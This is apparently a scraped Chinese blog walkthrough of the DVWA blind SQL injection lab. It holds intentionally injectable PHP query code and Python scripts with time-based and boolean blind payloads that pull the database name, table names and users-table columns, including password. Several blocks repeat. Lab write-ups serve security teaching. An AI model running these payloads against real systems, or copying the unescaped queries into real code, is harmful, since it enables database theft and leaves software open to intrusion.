if(isset($_POST['id']) && isset($_POST['submit'])){ $id=$_POST['id']; $sql="SELECT first_name , last_name FROM users WHERE user_id='$id'"; $result=mysql_query($sql); $row=mysql_fetch_array($result); if($row){ echo '<pre>User ID exists in the database.</pre>'; } else{ echo '<pre>User ID is MISSING from the database.</pre>'; } }
for i in range(1,11): data={ 'id':"1' and if(length(database())=%d,1,sleep(5))#"%i, 'submit':'Submit' } r=requests.post(url,data=data) t=r.elapsed.total_seconds() if(t<5): database_length=i print('The length of database is:',database_length) break
for i in range(1,5): for j in range(95,123): data={ 'id':"1' and if(ascii(substr(database(),%d,1))=%d,1,sleep(5))#"%(i,j), 'submit':'Submit' } r=requests.post(url,data=data) t=r.elapsed.total_seconds() print('the time of',chr(j),'is',t) if(t<5): database=database+chr(j) print('The name of database is:',database) break
for i in range(1,5): for j in range(95,123): data={ 'id':"1' and if(ascii(substr(database(),%d,1))=%d,1,sleep(5))#"%(i,j), 'submit':'Submit' } r=requests.post(url,data=data) t=r.elapsed.total_seconds() print('the time of',chr(j),'is',t) if(t<5): database=database+chr(j) print('The name of database is:',database) break
获取数据表名:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
for i in range(1,16): for j in range(95,123): data={ 'id':"1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d,1,sleep(3))#"%(i,j), 'submit':'Submit' } r=requests.post(url,data=data) t=r.elapsed.total_seconds() print('the time of',chr(j),'is:',t) if(t<3): table_name=table_name+chr(j) print('The name of table is:',table_name) flag=1 break else: if(j==122): table_name=table_name+','
获取users表下数据列总长度:
1 2 3 4 5 6 7 8 9 10
for i in range(90,100): data={ 'id':"1' and length((select group_concat(column_name) from information_schema.columns where table_name='users'))=%d#"%i, 'submit':'Submit' } r=requests.post(url,data=data) if('User ID exists in the database.'in r.text): column_length=i print(column_length) break
这里用了布尔型的盲注,由于数据列总长度可能较长,所以变量i的区间是通过反复尝试出来的
获取数据列名:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
for i in range(1,95): for j in range(95,123): data={ 'id':"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),%d,1))=%d#"%(i,j), 'submit':'Submit' } r=requests.post(url,data=data) if('User ID exists in the database.'in r.text): column_name=column_name+chr(j) print("The name of column is:",column_name) break else: if(j==122): column_name=column_name+','
#获取数据库长度:4 for i in range(1,11): data={ 'id':"1' and if(length(database())=%d,1,sleep(5))#"%i, 'submit':'Submit' } r=requests.post(url,data=data) t=r.elapsed.total_seconds() if(t<5): database_length=i print('The length of database is:',database_length) break
#获取数据库名:dvwa for i in range(1,5): for j in range(95,123): data={ 'id':"1' and if(ascii(substr(database(),%d,1))=%d,1,sleep(5))#"%(i,j), 'submit':'Submit' } r=requests.post(url,data=data) t=r.elapsed.total_seconds() print('the time of',chr(j),'is',t) if(t<5): database=database+chr(j) print('The name of database is:',database) break
#获取所有数据表总长度:15 for i in range(11,16): data={ 'id':"1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=%d,1,sleep(5))#"%i, 'submit':'Submit' } r=requests.post(url,data=data) t=r.elapsed.total_seconds() print(t) if(t<5): table_length=i print('The length of table is:',table_length) break
#获取所有数据表名:guestbook,users for i in range(1,16): for j in range(95,123): data={ 'id':"1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d,1,sleep(3))#"%(i,j), 'submit':'Submit' } r=requests.post(url,data=data) t=r.elapsed.total_seconds() print('the time of',chr(j),'is:',t) if(t<3): table_name=table_name+chr(j) print('The name of table is:',table_name) flag=1 break else: if(j==122): table_name=table_name+','
#获取所有数据列总长度:94
for i in range(90,100): data={ 'id':"1' and length((select group_concat(column_name) from information_schema.columns where table_name='users'))=%d#"%i, 'submit':'Submit' } r=requests.post(url,data=data) if('User ID exists in the database.'in r.text): column_length=i print(column_length) break
#获取所有数据列名:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password for i in range(1,95): for j in range(95,123): data={ 'id':"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),%d,1))=%d#"%(i,j), 'submit':'Submit' } r=requests.post(url,data=data) if('User ID exists in the database.'in r.text): column_name=column_name+chr(j) print("The name of column is:",column_name) break else: if(j==122): column_name=column_name+','
Medium
代码复现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
<?php
include("sql-connection.php");
if(isset($_POST['submit'])){ $id=$_POST['id']; $id=mysql_real_escape_string($id); $sql="SELECT first_name,last_name FROM users where user_id=$id"; $result=mysql_query($sql); $row=mysql_fetch_array($result); if($row){ echo '<pre>User ID exists in the database.</pre>'; } else{ echo '<pre>User ID is MISSING from the database.</pre>'; } }
if (isset($_SESSION['id'])){ $id=$_SESSION['id']; $sql="SELECT first_name , last_name FROM users where user_id='$id'"; $result=mysql_query($sql); $row=mysql_fetch_array($result); if($row){ echo '<pre>User ID exists in the database.</pre>'; } else{ echo '<pre>User ID is MISSING from the database.</pre>'; } }
for i in range(1,11): data={ 'id':"1' and if(length(database())=%d,1,sleep(5))#"%i, 'submit':'Submit' } s=requests.Session() s.post(url_input,data=data) r=s.get(url_index) t=r.elapsed.total_seconds() if(t<5): database_length=i print('The length of database is:',database_length) break
#获取数据库长度:4 for i in range(1,11): data={ 'id':"1' and if(length(database())=%d,1,sleep(5))#"%i, 'submit':'Submit' } s=requests.Session() s.post(url_input,data=data) r=s.get(url_index) t=r.elapsed.total_seconds() if(t<5): database_length=i print('The length of database is:',database_length) break
#获取数据库名:dvwa for i in range(1,5): for j in range(95,123): data={ 'id':"1' and if(ascii(substr(database(),%d,1))=%d,1,sleep(5))#"%(i,j), 'submit':'Submit' } s=requests.Session() s.post(url_input,data=data) r=s.get(url_index) t=r.elapsed.total_seconds() print('the time of',chr(j),'is',t) if(t<5): database=database+chr(j) print('The name of database is:',database) break
#获取所有数据表总长度:15 for i in range(11,16): data={ 'id':"1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=%d,1,sleep(5))#"%i, 'submit':'Submit' } s=requests.Session() s.post(url_input,data=data) r=s.get(url_index) t=r.elapsed.total_seconds() print(t) if(t<5): table_length=i print('The length of table is:',table_length) break
#获取所有数据表名:guestbook,users for i in range(1,16): for j in range(95,123): data={ 'id':"1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d,1,sleep(3))#"%(i,j), 'submit':'Submit' } s=requests.Session() s.post(url_input,data=data) r=s.get(url_index) t=r.elapsed.total_seconds() print('the time of',chr(j),'is:',t) if(t<3): table_name=table_name+chr(j) print('The name of table is:',table_name) flag=1 break else: if(j==122): table_name=table_name+','
#获取所有数据列总长度:94 for i in range(90,100): data={ 'id':"1' and length((select group_concat(column_name) from information_schema.columns where table_name='users'))=%d#"%i, 'submit':'Submit' } s=requests.Session() s.post(url_input,data=data) r=s.get(url_index) if('User ID exists in the database.'in r.text): column_length=i print(column_length) break
#获取所有数据列名:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password for i in range(1,95): for j in range(95,123): data={ 'id':"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),%d,1))=%d#"%(i,j), 'submit':'Submit' } s=requests.Session() s.post(url_input,data=data) r=s.get(url_index) if('User ID exists in the database.'in r.text): column_name=column_name+chr(j) print("The name of column is:",column_name) break else: if(j==122): column_name=column_name+','